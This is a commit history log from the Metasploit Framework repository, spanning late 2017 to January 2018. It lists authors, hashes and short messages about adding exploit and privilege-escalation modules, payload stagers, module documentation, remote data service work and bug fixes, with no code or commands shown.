Christopher Lee
6ffae7f6ad
Merge pull request #9 from clee-r7/correct-api-url
...
Update API URLs
2018-01-22 15:17:09 -06:00
Christopher Lee
207adfc93d
Merge pull request #8 from clee-r7/add-query-data-remote-http-data-service
...
Add URI query data option to request methods
2018-01-22 15:16:54 -06:00
christopher lee
2521c941d4
Ported singleton calls
2018-01-22 14:57:28 -06:00
Wei Chen
65781efa9e
Land #9442 , Remove NoMethod Rescue for cerberus_sftp_enumusers
...
Land #9442
2018-01-22 13:39:16 -06:00
William Vu
27a007fb57
Land #9432 , cmd_edit improvements (again!)
...
We seem to enjoy refactoring this method.
2018-01-22 12:38:08 -06:00
William Vu
a255586750
Refactor to use guard clauses
2018-01-22 12:38:02 -06:00
Wei Chen
394c31c1e3
Remove NoMethod Rescue for cerberus_sftp_enumusers
...
Please see reasons in #9436
2018-01-22 11:10:23 -06:00
Wei Chen
38d056b930
Land #9436 - Fix cerberus_sftp_enumusers undefined method start for nil
...
Land #9436
Thanks Steve!
2018-01-22 11:07:23 -06:00
Wei Chen
85d018096b
Pass password_prompt and non_interactive to fix #8970
...
Fix #8970
2018-01-22 11:06:12 -06:00
Brent Cook
682c915a09
Land #9267 , Add targets to sshexec
2018-01-22 09:59:48 -06:00
Brent Cook
e927c97652
Land #9434 , Fix timing issue with rspec
2018-01-22 09:42:07 -06:00
Brent Cook
f95d7b2bea
Land #9438 , address cmd_exec inconsistencies
2018-01-22 09:37:07 -06:00
Pedro Ribeiro
b734af4e79
Add my advisory URL
2018-01-22 22:00:48 +07:00
Pedro Ribeiro
c1fe355329
Create exploit for AsusWRT LAN RCE
2018-01-22 21:44:02 +07:00
Pedro Ribeiro
441a875178
Merge pull request #41 from rapid7/master
...
aa
2018-01-22 21:42:34 +07:00
Sliim
95e9707349
Call db event handlers
...
Implemented plugins handlers defined in
lib/msf/core/database_event.rb:
- on_db_client
- on_db_host
- on_db_service
- on_db_vuln
- on_db_host_state
- on_db_ref
- on_db_service_state
2018-01-21 19:35:55 +01:00
h00die
7175468ff7
local to remote
2018-01-21 10:00:31 -05:00
Brent Cook
69818aea22
update payload sizes
2018-01-21 08:03:07 -06:00
Brent Cook
7ad296d511
bump payloads, fix cmd_exec meterpreter logic
2018-01-21 07:56:24 -06:00
Tim W
82fde6b1d1
fix for older osx versions
2018-01-21 08:04:26 +08:00
Matthew Kienow
2211459b9d
Correct workspace_associations_counts API path
2018-01-20 14:54:14 -05:00
Matthew Kienow
b7e5b0f161
Update API URLs per design discussion
2018-01-20 14:50:59 -05:00
James Barnett
8022294d1d
Fix bug with -s flag
2018-01-19 16:18:20 -06:00
Pearce Barry
ba75d19d34
Fix failing spec.
2018-01-19 15:52:25 -06:00
Matthew Kienow
cb4999c1ac
Add URI query data option to request methods
2018-01-19 16:51:49 -05:00
James Barnett
4f3ee6dd83
Address PR comments regarding command options
2018-01-19 15:46:24 -06:00
christopher lee
d5978803eb
Fix all failing rspec for goliath
2018-01-19 15:16:19 -06:00
christopher lee
505f1fd547
Merge branch 'goliath' of github.com:clee-r7/metasploit-framework into goliath
2018-01-19 13:40:38 -06:00
Pearce Barry
2a6b3671bf
Add connection addr+port info to http response object.
...
Update owa_login to use this instead of doing lookups on its own.
2018-01-19 13:37:33 -06:00
James Barnett
b8296a809c
Merge branch 'goliath' into add_https
2018-01-19 13:33:24 -06:00
James Barnett
ff9c69c7c8
Merge branch 'rapid7/master' into goliath
2018-01-19 13:28:17 -06:00
Steve Embling
8f75d3a46b
Possible fix to changes in net::ssh usage
2018-01-19 15:10:14 +00:00
Matthew Kienow
764ecf6562
Land #6 JSON to MDM
...
Deserialize JSON returned from a remote data service to an in-memory MDM object
2018-01-18 17:21:10 -05:00
christopher lee
87f8b68099
Ensure config directory always exist, seems to be timing issue in rspec
2018-01-18 14:56:07 -06:00
christopher lee
77125230c7
Merged master for module cache changes
2018-01-18 14:30:52 -06:00
James Barnett
0654979be6
Remove separate code path for openstruct for creds.
...
Also fix RemoteCredentialDataService to work with json_to_mdm
2018-01-18 13:27:33 -06:00
Kevin Kirsche
c7d3b5dfbb
Update payload and disable check functionality
...
The check functionality is broken as MSF cannot handle HttpServer and HttpClient at this time.
The payloads were updated to ensure CVE-2017-10271 is being exploited instead of CVE-2017-3506 as explained on https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
2018-01-18 13:26:44 -05:00
Brent Cook
f355d10771
Land #9433 , add CURRENT.md to track msf5 large changes
2018-01-18 11:07:24 -06:00
Brent Cook
7ee77a27a6
Land #9389 , Update commvault_cmd_exec module documentation
2018-01-18 11:05:51 -06:00
Brendan Coles
b6ea95c417
Add documentation
2018-01-18 12:42:44 +00:00
Brent Cook
bfa7e32c91
add CURRENT.md to track major changes and how to migrate with them
2018-01-18 06:35:53 -06:00
Brent Cook
df71defdea
fix library-specific error messages to not appear with modules
2018-01-18 05:55:51 -06:00
Brent Cook
7849743789
update stageless python sizes
2018-01-18 00:41:58 -06:00
Brent Cook
b4bb1b5ed1
fix whitespace patchups for current python meterpreter
2018-01-18 00:28:04 -06:00
Brent Cook
86c927edb7
fix msfvenom referencing a nil typed_module_set
2018-01-18 00:16:42 -06:00
Brent Cook
7fe237abe1
Land #9220 , Module cache improvements
2018-01-17 22:34:51 -06:00
Brent Cook
add907ece9
Land #9259 , make master Metasploit 5 dev branch
2018-01-17 22:31:49 -06:00
Brent Cook
06459e2dee
cowardly continue using ~/.msf4 until we have an actual reason to switch
2018-01-17 22:01:56 -06:00
Brent Cook
facecb40d7
change default prompt for users who use '-q'
2018-01-17 22:01:34 -06:00
Brent Cook
cbd1a2a505
update default startup with version info
2018-01-17 21:59:53 -06:00
Matthew Kienow
035cdb1bca
Add v5 under construction banner
2018-01-17 17:24:28 -06:00
Brent Cook
08f622b0ce
update version
2018-01-17 17:24:15 -06:00
Pearce Barry
e9ce2374e5
Auto-resolve target if it's a hostname (owa_login).
...
Ensures the module does save the creds which it claims to be saving. See MS-2968.
2018-01-17 16:47:21 -06:00
Aaron Soto
9328374155
Update 'author' field of metadata
2018-01-17 16:43:37 -06:00
Aaron Soto
fff1c16517
Created checkvm documentation
2018-01-17 16:23:18 -06:00
Adam Cammack
0f0b116751
Rename scanner bits to avoid confusion
2018-01-17 14:46:31 -06:00
Aaron Soto
10cf327c26
Improve Hyper-V tests in checkvm
...
All Win10 machines, physical and virtual, were being reported as 'Hyper-V' (false positives)
Added functionality to extract hostname of physical hypervisor from VM registry
2018-01-17 14:29:03 -06:00
bwatters-r7
4c11eae774
Maybe that timeout is needed.....
2018-01-17 13:21:36 -06:00
Adam Cammack
c7894f1d74
Split long lines and add comments
2018-01-17 12:04:12 -06:00
Philippe Tranca
35bec8d3cd
Fixed classes names and added RMI interfaces
2018-01-17 17:10:36 +01:00
Philippe Tranca
d345008b20
Added all the classes that implement RMI server
2018-01-17 17:03:32 +01:00
bwatters-r7
f439edfa1a
Fixes by the fabled wvu
2018-01-17 08:20:52 -06:00
Adam Cammack
37bf68869f
Add scanner for the open proxy from 'SharknAT&To'
2018-01-16 21:05:19 -06:00
Adam Cammack
a5be16f74e
Add batch scanner external module type
2018-01-16 21:05:19 -06:00
Adam Cammack
fb41eea8cc
Add vuln reporting to external module API
2018-01-16 21:05:19 -06:00
Adam Cammack
9527c6ffcf
Ensure all messages are read from external modules
2018-01-16 21:05:19 -06:00
Adam Cammack
3363bcf629
Add DataStore serialization that preserves Arrays
2018-01-16 21:05:19 -06:00
Brendan Coles
5e11d36351
Add ABRT raceabrt Privilege Escalation module
2018-01-16 14:52:33 +00:00
attackdebris
1c156c3d3c
Add powershell payload to module
2018-01-16 14:30:02 +00:00
Brendan Coles
4ade798cef
Fix check for juju-run path
2018-01-16 07:19:48 +00:00
Daniel Teixeira
5fef8b43f6
Update and rename syncbreeze_xml.rb to syncbreeze_xml.md
2018-01-16 06:07:15 +00:00
Daniel Teixeira
aa9b5e4419
Sync Breeze Enterprise Import Command
2018-01-15 20:46:40 +00:00
Daniel Teixeira
ac724926db
Sync Breeze Import Command BOF Doc
2018-01-15 20:45:34 +00:00
Philippe Tranca
dfb9941e95
Fix java_jmx_server exploit
...
Add test case when discovering RMI endpoint as the previous one was not complete
2018-01-15 12:13:09 +01:00
Nicky Bloor
333ee893d3
Tidied up platform detection, check method, and minor typos.
2018-01-14 18:28:40 +00:00
Brendan Coles
e1cbe4e906
Rename apport_chroot_priv_esc to apport_abrt_chroot_priv_esc
2018-01-14 08:33:43 +00:00
Brendan Coles
c234d0523a
Add support for abrt on Fedora
2018-01-14 08:33:10 +00:00
Brendan Coles
c94763bfe0
Add Juju-run Agent Privilege Escalation module
2018-01-14 05:57:17 +00:00
Nicky Bloor
6568d29b67
Add BMC Server Automation RSCD Agent RCE exploit module.
2018-01-14 01:12:55 +00:00
RageLtMan
de411e764a
Msf DNS server - add :use_resolver? method
2018-01-13 02:40:53 -05:00
RageLtMan
ee218658b6
Cleanup Msf server and add dnsruby to gemspec
2018-01-13 02:30:08 -05:00
Brendan Coles
2f3e3b486a
Use cross-compiled exploit
2018-01-13 05:44:42 +00:00
Brendan Coles
d172259f5d
umlaut
2018-01-13 16:06:11 +11:00
James Barnett
bab9b66521
Only send back one object for host create
2018-01-12 10:52:16 -06:00
Brendan Coles
842736f7b1
register_dir_for_cleanup
2018-01-12 14:21:43 +00:00
RageLtMan
c65c03722c
Migrate native DNS services to Dnsruby data format
...
Dnsruby provides advanced options like DNSSEC in its data format
and is a current and well supported library.
The infrastructure services - resolver, server, etc, were designed
for a standalone configuration, and carry entirely too much weight
and redundancy to implement for this context. Instead of porting
over their native resolver, update the Net::DNS subclassed Rex
Resolver to use Dnsruby data formats and method calls.
Update the Msf namespace infrastructure mixins and native server
module with new method calls and workarounds for some instance
variables having only readers without writers. Implement the Rex
ServerManager to start and stop the DNS service adding relevant
alias methods to the Rex::Proto::DNS::Server class.
Rex services are designed to be modular and lightweight, as well
as implement the sockets, threads, and other low-level interfaces.
Dnsruby's operations classes implement their own threading and
socket semantics, and do not fit with the modular mixin workflow
used throughout Framework. So while the updated resolver can be
seen as adding rubber to the tire fire, converting to dnsruby's
native classes for resolvers, servers, and caches, would be more
like adding oxy acetylene and heavy metals.
Testing:
Internal tests for resolution of different record types locally
and over pivot sessions.
2018-01-12 05:00:00 -05:00
Brendan Coles
8bbffd20cd
Add Apport chroot Privilege Escalation exploit
2018-01-12 07:25:35 +00:00
Brent Cook
387f78c6a3
allow UTF-8 module names and authors
2018-01-12 01:51:05 -05:00
Kevin Kirsche
04e4ff6b3c
Use stop_service to avoid cleanup overload
2018-01-11 19:14:26 -05:00
Kevin Kirsche
40f54df129
Feedback updates
2018-01-11 18:54:58 -05:00
Kevin Kirsche
172ffdfea1
Use geturi instead of building it ourselves
2018-01-11 18:27:56 -05:00
Kevin Kirsche
d4056e72da
Lower the default timeout for CHECK
2018-01-11 17:38:30 -05:00
Kevin Kirsche
3617a30e34
Add URIPATH random URI
2018-01-11 17:33:14 -05:00
Kevin Kirsche
a28d4a4b5b
Add check and update for some style considerations
2018-01-11 17:28:09 -05:00
James Barnett
809d3d28c7
Merge branch 'rapid7/master' into goliath
2018-01-11 16:18:41 -06:00
James Barnett
b2666ad3f2
Update host delete method to return full objects of deleted hosts
2018-01-11 16:12:25 -06:00
Kevin Kirsche
0d9a40d2e5
Use target['Platform'] instead of target_platform
2018-01-11 15:44:07 -05:00
Kevin Kirsche
c490d642e2
Was missing a comma
2018-01-11 09:42:24 -05:00
Kevin Kirsche
3132566d8f
Fix OptFloat error
2018-01-11 09:22:16 -05:00
Kevin Kirsche
c05b440f26
Fix additional feedback
...
This
* uses ternary operators
* uses an `RPORT` option shortcut
* removes the `xml_payload` variable and instead more explicitly uses the method directly
* Uses `OptFloat` for the timeout option to allow partial seconds
2018-01-11 08:17:13 -05:00
Matthew Kienow
e964e8bcbb
Fix incorrect HTTP request method calls
2018-01-10 23:59:53 -05:00
Matthew Kienow
f895169c7f
Fix incorrect HTTP request method calls
2018-01-10 23:53:24 -05:00
James Barnett
3c73892a70
Use json_to_mdm for Credentials.
2018-01-10 16:58:44 -06:00
Tim W
550e9a3d31
fix payload cached size
2018-01-10 15:06:08 +08:00
Tim W
cf893c2962
fix LHOST
2018-01-10 11:48:41 +08:00
Tim W
e225e29add
fix default LHOST
2018-01-10 11:34:51 +08:00
James Barnett
4a377af5e6
Deserialize JSON to Mdm Object
2018-01-09 15:18:49 -06:00
Wei Chen
b06db60a56
Fix typos
2018-01-09 11:20:02 -06:00
Wei Chen
7b6a8af387
Update commvault_cmd_exec module documentation
2018-01-08 15:42:01 -06:00
Kevin Kirsche
ab89e552ed
Remove accidental trailing space
2018-01-08 14:42:03 -05:00
Kevin Kirsche
2252490e62
Fix using arbitrary keys to instead use "URL"
2018-01-08 14:30:03 -05:00
Kevin Kirsche
e80ca348cf
Add Exploit-DB ID
2018-01-08 10:55:46 -05:00
Kevin Kirsche
6beeece708
Re-add timeout value
2018-01-07 20:21:29 -05:00
Kevin Kirsche
eefd432161
Make sure Platforms match our actual target list
2018-01-06 08:31:30 -05:00
Kevin Kirsche
4bd196f8b2
Fix missing single quotes and remove comma
2018-01-06 08:30:48 -05:00
Kevin Kirsche
867b32415d
Fix feedback from wvu-r7
...
Fixes feedback from wvu-r7
- Consolidates payload to single method
- Replaces gsub! with standard encode method
- Note exploit discovery and proof of concept code used in authors (still seems weird to include the discovery as an author...)
- Change link
- Use `ARCH_CMD` instead of `[ARCH_CMD]`
- Remove Linux target as it's only Windows or Unix
- Remove timeout as I don't know how to pass it to `send_request_cgi`
2018-01-06 08:12:43 -05:00
Brendan Coles
6665a4f735
Use register_dir_for_cleanup
2018-01-06 10:55:29 +00:00
Kevin Kirsche
744f20304c
Remove hardcoded user-agent from the headers
...
Remove hardcoded user-agent from the headers allowing for `send_request_cgi` to control this
2018-01-05 18:22:27 -05:00
Kevin Kirsche
2478de934b
Add CVE-2017-10271 / Oracle WebLogic wls-wsat RCE
2018-01-05 15:05:21 -05:00
James Barnett
173705ad35
Add error handling when no data returned from server
2018-01-05 11:44:25 -06:00
b0yd
10631b687c
Removed reverse tcp cache size changes
2018-01-04 21:46:52 -05:00
b0yd
27f96110d1
Moved socket struct inside conditional
2018-01-04 21:29:49 -05:00
James Barnett
16cdf1c9f4
Add help text to cmd_add_data_service
2018-01-04 16:41:42 -06:00
Tim W
beda2d1efb
add retries and error checking to osx stager
2018-01-05 03:59:12 +08:00
h00die
fb75cd4617
it does work!
2018-01-04 14:44:43 -05:00
James Barnett
5058c2d36f
Merge branch 'goliath' into add_https
2018-01-03 10:51:22 -06:00
Tim W
46a45550fd
add osx x64 stager
2018-01-03 14:04:14 +08:00
h00die
e23e87b444
bcoles fixes
2018-01-02 20:23:24 -05:00
James Barnett
92e435898b
Missed a file in the merge somehow
2018-01-02 17:38:41 -06:00
James Barnett
4aac8f5c39
Merge branch 'rapid7/master' into goliath
2018-01-02 17:34:40 -06:00
jbarnett-r7
dc588cc3fa
Merge pull request #4 from clee-r7/externalize-host-data
...
Externalize hosts delete
2018-01-02 16:00:45 -06:00
Matthew Kienow
40d15bf3e6
Hash#each style correction
2018-01-02 12:25:14 -05:00
James Barnett
f015b926da
Merge branch 'goliath' into add_https
2018-01-02 10:38:48 -06:00
Pedro Ribeiro
d196ed6f9c
Merge pull request #40 from rapid7/master
...
aaaa
2018-01-02 05:10:38 +07:00
h00die
bc0a08ef5a
a few updates per bcoles
2017-12-30 11:23:58 -05:00
HD Moore
ece5528379
Small tweaks based on @bcoles feedback. Thanks!
2017-12-29 16:17:53 -06:00
HD Moore
54159c29eb
Add documentation line from h00die
2017-12-29 16:14:28 -06:00
HD Moore
0b9fbe5a63
Resolve a bug in reverse_tcp and segfaults across payloads
2017-12-29 14:18:55 -06:00
h00die
67c2119736
oh brother
2017-12-29 14:16:34 -05:00
RageLtMan
f1a1e1a357
Implement specific dispatch extensions for tunnels
...
All meterpreter Clients are created equal, and as such they all
include the PacketDispatcher mixin and call its init methods when
a passive dispatcher is needed. However, since tunneling protocols
have different requirements for implementation, the methods which
provide protocol-specific functionality need to be mixed into the
Client before it attempts to initialize the dispatcher.
Provide a dispatch_ext option in the has passed to the client on
init from the session handler which is an Array containing mixin
references which are sent to :extend calls in the :init_meterpreter
method just prior to calling :initialize_passive_dispatcher.
Each handler implementation can thus push chains of mixins to the
client in order to provide middleware specific to the tunnel. Down
the road, this should permit stacking C2 encapsulations or tunnel
protocols/permutators to create unique session transports on the
fly.
2017-12-29 00:56:06 -05:00
RageLtMan
d420bf1a6a
Pull out HTTP-specific code from PacketDispatcher
...
PacketDispatcher has some hardcoded assumptions about utilizing
HTTP services as the async resource. With C2 and DNS tunnels in
the pipeline, these elements need to be separated from the core
functions of async packet dispatch and moved into their own module.
This creates a new namespace for Meterpreter::HttpPacketDispatcher,
meant to be mixed in after PacketDispatcher. The module implements
only three of the original module's methods - init, shutdown, and
the :on_passive_request callback; with the first two using :super,
with the expectation of having a PacketDispatcher mixin or API
compatible namespace already in the mix.
2017-12-28 23:37:01 -05:00
Tim W
44fbb171a6
osx stager
2017-12-29 11:13:25 +08:00
Vishal Gupta
b43c6078a1
updated
2017-12-28 18:24:57 -05:00
Vishal Gupta
1a7850bd51
updated
2017-12-28 18:21:55 -05:00
Vishal Gupta
2672550c62
deprecated
2017-12-28 18:19:04 -05:00
Vishal Gupta
53fc25560e
updated
2017-12-28 18:13:41 -05:00
Vishal Gupta
d3fdc539b7
updated
2017-12-28 18:09:27 -05:00
Vishal Gupta
6736b125f6
updated
2017-12-28 18:08:28 -05:00
HD Moore
68f4d4480e
Remove unused DefaultOptions block
2017-12-28 17:07:04 -06:00
Vishal Gupta
398fe3c8e8
updated
2017-12-28 18:07:04 -05:00
Vishal Gupta
59940feacc
corrected grammatical error
2017-12-28 17:55:04 -05:00
Vishal Gupta
339c7b3bc2
Updated
2017-12-28 17:53:02 -05:00
HD Moore
eb696ee5cf
Documentation update
2017-12-28 16:30:04 -06:00
HD Moore
ab8886e25c
Updated payloads and addition of payload stubs
2017-12-28 16:21:37 -06:00
HD Moore
ebe57b9e1d
Updated exploit module for GoAhead LD_PRELOAD, mostly fire-and-forget
2017-12-28 16:21:04 -06:00
HD Moore
258ce2ceb2
Allow stub payloads to be autoselected when compatible
2017-12-28 16:19:22 -06:00
HD Moore
b86fd551a3
Add a WIP of the module documentation
2017-12-28 14:00:03 -06:00
Matthew Kienow
6c3dbfa275
Remove debug output and cleanup of delete_host
2017-12-27 16:49:53 -05:00
Matthew Kienow
331c09ab1b
Fix issue in currently unused delete_host option
2017-12-27 14:35:20 -05:00
Matthew Kienow
5e4836b1e9
Implement hosts remote data store delete
...
Also, resolve an issue when adding a host where the client-side
raises an exception.
2017-12-26 23:09:23 -05:00
b0yd
44cb65d03f
Attempting to fix cached size errors. Part 2
2017-12-22 12:55:57 -05:00
b0yd
0b6e41d65b
Attempting to fix cached size errors.
2017-12-22 12:49:02 -05:00
b0yd
0f5ff6ead3
Added bytes to required size
2017-12-22 12:28:37 -05:00
b0yd
add26ca405
Cleaned up
2017-12-22 12:17:15 -05:00
b0yd
a7fbe71a93
Added socket bind port option for reverse tcp payload.
2017-12-21 14:10:41 -05:00
HD Moore
1619a3fcf1
Pull PPC targets for now
2017-12-20 08:33:53 -06:00
HD Moore
25a3863784
Update WIP for GoAhead LD_PRELOAD
2017-12-18 22:20:13 -06:00
HD Moore
e73ae9e1a4
Remove the useless findsock wrapper
2017-12-18 22:09:35 -06:00
HD Moore
a44010deb1
WIP for GoAhead LD_PRELOAD
2017-12-18 10:51:47 -06:00
jbarnett-r7
fe069e4b5e
Merge pull request #3 from clee-r7/move-session-mdm-use
...
Move session mdm use
2017-12-14 13:59:58 -06:00
James Barnett
908a695932
Add option handling to msfdb
...
Can now specify custom interface and port.
Now able to specify starting in HTTPS mode.
2017-12-13 16:53:51 -06:00
James Barnett
973f3bacd8
Remove require statements for remote_service_endpoint
2017-12-13 11:31:29 -06:00
James Barnett
74c00cf8ba
WIP: Enable HTTPS client.
...
Removed RemoteServiceEndpoint and using URI instead.
2017-12-12 16:42:20 -06:00
Matthew Kienow
c7e7b5861d
Fix error in exception message
2017-12-11 17:52:24 -05:00
Matthew Kienow
c11bcc4ebc
Move Mdm::Session usage to db_manager session
2017-12-11 17:47:28 -05:00
James Barnett
76143bdc1d
WIP: HTTP server launching with HTTPS
2017-12-11 15:00:26 -06:00
h00die
ba174f3f92
updates per @bigendiansmalls fork
2017-12-11 14:40:09 -05:00
h00die
3c916c303d
bcoles comments from #7334
2017-12-11 14:22:44 -05:00
Vishal Gupta
da9e2a981a
added auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.md
2017-12-11 12:48:32 -05:00
Vishal Gupta
10cf5557c2
added auxiliary/scanner/dcerpc/management.md
2017-12-11 12:45:20 -05:00
Vishal Gupta
02e9b4cd6b
added auxiliary/scanner/dcerpc/hidden.md
2017-12-11 12:38:46 -05:00
Vishal Gupta
c3e7d93bcb
added auxiliary/scanner/dcerpc/endpoint_mapper.md
2017-12-11 12:27:04 -05:00
Vishal Gupta
4de6b4f4fa
added auxiliary/scanner/discovery/udp_sweep.md
2017-12-11 12:08:18 -05:00
Vishal Gupta
5d5051d2ed
added auxiliary/scanner/discovery/udp_probe.md
2017-12-11 12:04:50 -05:00
Vishal Gupta
499f2dd55d
added auxiliary/scanner/discovery/ipv6_neighbor.md
2017-12-11 11:58:49 -05:00
Vishal Gupta
36f5ccad3d
updated
2017-12-11 11:49:15 -05:00
Vishal Gupta
25235c8ca5
auxiliary/scanner/smb/smb_enumshares.md
2017-12-11 11:44:27 -05:00
Vishal Gupta
c6740f88e9
auxiliary/scanner/smb/smb2.md
2017-12-11 11:39:36 -05:00
Vishal Gupta
dee2137350
auxiliary/scanner/smb/pipe_dcerpc_auditor.md
2017-12-11 11:25:44 -05:00
Vishal Gupta
fd775a056c
auxiliary/scanner/smb/pipe_auditor.md
2017-12-11 11:22:03 -05:00
Vishal Gupta
885c61df24
auxiliary/scanner/mssql/mssql_sql.md
2017-12-11 01:39:47 -05:00
Vishal Gupta
d6f6faee3a
auxiliary/scanner/mssql/mssql_idf.md
2017-12-11 01:32:43 -05:00
Vishal Gupta
2757fabbfc
auxiliary/scanner/mssql/mssql_ping.md
2017-12-11 01:15:44 -05:00
Vishal Gupta
282ae1509f
auxiliary/scanner/mysql/mysql_version.md
2017-12-11 00:49:21 -05:00
Vishal Gupta
92053fb1da
updated
2017-12-11 00:43:58 -05:00
Vishal Gupta
b3f9398dbb
auxiliary/scanner/mysql/mysql_login.md
2017-12-11 00:38:03 -05:00
Vishal Gupta
0929acf88c
updated
2017-12-09 21:43:05 -05:00
Vishal Gupta
455b31ea05
updated
2017-12-09 21:32:23 -05:00
Vishal Gupta
5b910a2576
updated
2017-12-09 21:31:03 -05:00
Vishal Gupta
52d426d5c0
added more info
2017-12-09 21:23:17 -05:00
Vishal Gupta
76d60cb334
auxiliary/scanner/http/cert.md
2017-12-09 21:14:40 -05:00
Vishal Gupta
c90a7f62fe
auxiliary/scanner/http/dir_scanner.md
2017-12-09 21:07:45 -05:00
Vishal Gupta
5aa2f4a553
auxiliary/scanner/http/dir_webdav_unicode_bypass.md
2017-12-09 20:43:42 -05:00
Vishal Gupta
90ea07a7e1
auxiliary/scanner/http/ssl.md
2017-12-09 20:04:53 -05:00
Vishal Gupta
ccc4cf7e13
updated
2017-12-09 19:41:52 -05:00
Vishal Gupta
464ad769ac
auxiliary/scanner/http/wordpress_login_enum.md
2017-12-09 19:39:24 -05:00
Vishal Gupta
acbc46768f
updated
2017-12-09 19:37:59 -05:00
Vishal Gupta
34e89c6171
auxiliary/scanner/http/webdav_website_content.md
2017-12-09 19:14:15 -05:00
Vishal Gupta
3116c1041b
auxiliary/scanner/http/verb_auth_bypass.md
2017-12-09 19:03:57 -05:00
Vishal Gupta
3674448b1b
added webdav_scanner.md
2017-12-09 18:44:15 -05:00
Matthew Kienow
e410683ad5
Land #2 , use net/http instead of rex
2017-12-07 11:37:20 -05:00
James Barnett
8835dae6f0
Switch to net/http header handling
2017-12-05 15:06:15 -06:00
bwatters-r7
4ca595eb15
wvu-suggested fix
2017-12-05 11:55:17 -06:00
James Barnett
35b217b748
Merge branch 'goliath' into http_client_change
2017-12-05 11:13:53 -06:00
bwatters-r7
d1d8e3a678
Let's not rescue everything.....
2017-12-01 10:58:18 -06:00
bwatters-r7
6752770695
Shut up rubocop
2017-11-30 20:45:11 -06:00
bwatters-r7
e3dc17dd92
Add some extra targets
2017-11-30 16:16:34 -06:00
bwatters-r7
3b2a0be200
First swing at osx x64 meterpreter support
2017-11-30 14:47:46 -06:00
Matthew Kienow
8c5122277a
Land #1 , db_nmap work with remote data service
...
Make db_nmap Work With Remote Data Service
2017-11-28 11:14:59 -05:00
Brendan Coles
f8ebd65449
Add ASUS infosvr Unauthenticated Command Execution exploit
2017-11-28 12:58:52 +00:00
James Barnett
770f092e5d
Use more accurate variable name
2017-11-22 12:34:24 -06:00
James Barnett
e0837fb01d
Create local copies of loot
2017-11-21 16:28:19 -06:00
christopher lee
e0d8f8e8e9
Force cache load before test run
2017-11-21 14:43:44 -06:00
James Barnett
60e78f026f
Move file processing to helper method.
...
Also fixed a bug in processing loot files.
2017-11-21 13:34:56 -06:00
christopher lee
aee8db5b07
Ignore base metadata store file
2017-11-21 09:57:41 -06:00
Robin Verton
52356e00b7
Use stylistic suggestions from rubocop
2017-11-21 14:30:13 +01:00
James Barnett
82a30ed618
Fix bug in db_nmap with RDS
...
The cmd_db_nmap method was cleaning up the nmap XML file
before it could be read. Making the call synchronous will prevent
it from hitting the ensure block before the processing is done
when running msfdb locally.
2017-11-20 15:40:27 -06:00
christopher lee
238aecf81c
Integrated first round of feedback
2017-11-20 10:45:39 -06:00
christopher lee
621130d74b
Added missing requires
2017-11-17 13:06:05 -06:00
christopher lee
a16cd5aade
Clean up metadata store logic
2017-11-17 12:42:19 -06:00
christopher lee
0e642bd9cd
Remove puts and fix bug
2017-11-16 12:59:14 -06:00
christopher lee
e89eb6e8b6
Fix first time startup timing bug
2017-11-16 12:50:31 -06:00
Pushpam Kumar
c3c8ec761d
Merge remote-tracking branch 'upstream/master'
2017-11-17 00:16:43 +05:30
christopher lee
fe1af35107
First pass at changes needed for module metadata caching
2017-11-15 16:38:01 -06:00
James Barnett
9647f8d951
DRY up HTTP request code.
2017-11-14 15:31:31 -06:00
James Barnett
ebcf6924d5
Add a command to performance test HTTP
2017-11-14 11:50:16 -06:00
Pushpam Kumar
44e69f1c5d
Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
2017-11-14 02:46:29 +05:30
James Barnett
029d3b718d
Connect and get working with net/http.
...
POST looks to be working too.
2017-11-09 17:10:26 -06:00
christopher lee
43ddc66350
Initial fix for non db cache
2017-11-07 10:33:47 -06:00
James Barnett
04f5f41265
Merge branch 'port_dbnmap' into loot_and_creds
2017-10-31 17:03:40 -05:00
James Barnett
cfdda37f62
Send nmap file across the wire.
2017-10-31 10:12:45 -05:00
James Barnett
9d00093d81
Initial commit for nmap proxying
2017-10-25 16:04:31 -05:00
James Barnett
e2a7ecedaf
Merge branch 'goliath' into loot_and_creds
2017-10-24 14:52:44 -05:00
James Barnett
5f433e3d25
Fix typo in thread_manager
2017-10-24 14:52:17 -05:00
James Barnett
a4914074fb
Merge branch 'goliath' into loot_and_creds
2017-10-24 12:01:32 -05:00
James Barnett
d63b087610
Fix bug with creating session_events
2017-10-24 11:51:27 -05:00
Robin Verton
7fd7337d30
Refactor send_request_cgi request
2017-10-24 13:19:17 +02:00
James Barnett
ffcec527a7
Successfully storing creds remotely
2017-10-23 11:30:50 -05:00
Robin Verton
0ac7e0926c
Add entry_id verification; clean up http request calls
2017-10-23 15:19:35 +02:00
Robin Verton
30a86a1204
Add Kaltura <= 13.1.0 RCE (CVE-2017-14143)
2017-10-23 12:18:54 +02:00
christopher lee
2c8f27cd98
More general cleanup including is_local db check
2017-10-16 17:07:26 -05:00
James Barnett
5232e9926e
creds command converted
2017-10-16 15:27:53 -05:00
James Barnett
31bb0ff068
More typo
2017-10-10 15:29:15 -05:00
James Barnett
35533cd401
Another Typo
2017-10-10 14:01:23 -05:00
James Barnett
2002697be7
Typo
2017-10-10 13:58:41 -05:00
James Barnett
4c164fafb0
WIP: proxy credentials
2017-10-10 13:52:30 -05:00
Jeffrey Martin
578224ba8b
Merge branch 'master' into refactor_aux_admin_http_logins
2017-10-09 17:06:05 -05:00
James Barnett
0dbfc9d447
WIP: Drop session objects before JSON conversion
...
The session object is not intended to be store in the DB.
There are a ton of subobjects and unneeded data that causes the JSON conversion
to hang or fail with 'stack level too deep' errors.
2017-10-06 11:43:01 -05:00
James Barnett
08b62db061
Pass loot contents over the API and write file
2017-10-03 12:31:57 -05:00
christopher lee
2d85ef7617
Clean up db startup script
2017-10-02 11:17:45 -05:00
James Barnett
49f5256f88
Make session_events retrievable from the API
2017-09-29 16:04:17 -05:00
James Barnett
eb927663ff
use a better method for storing session_events
2017-09-29 14:59:08 -05:00
christopher lee
293d1edeb1
Merge master: 8853193542
2017-09-29 11:06:16 -05:00
James Barnett
ed74c3726f
Proxy session events.
...
This enables modules to use report_loot with a remote data service
2017-09-28 17:03:09 -05:00
James Barnett
f88840e5b7
Move normaliize_host to a library method
...
This method was in Msf::DbManager class but doesn't actually use the DB.
This required you to have a DB connection just to do the check.
Moved it out to a helper library so we have access to it without forcing
a DB connection.
2017-09-28 16:59:44 -05:00
James Barnett
0b29408aa2
Allow filtering of loot
2017-09-26 13:48:01 -05:00
Josh Hale
0e59f47095
Comments and whitespace check
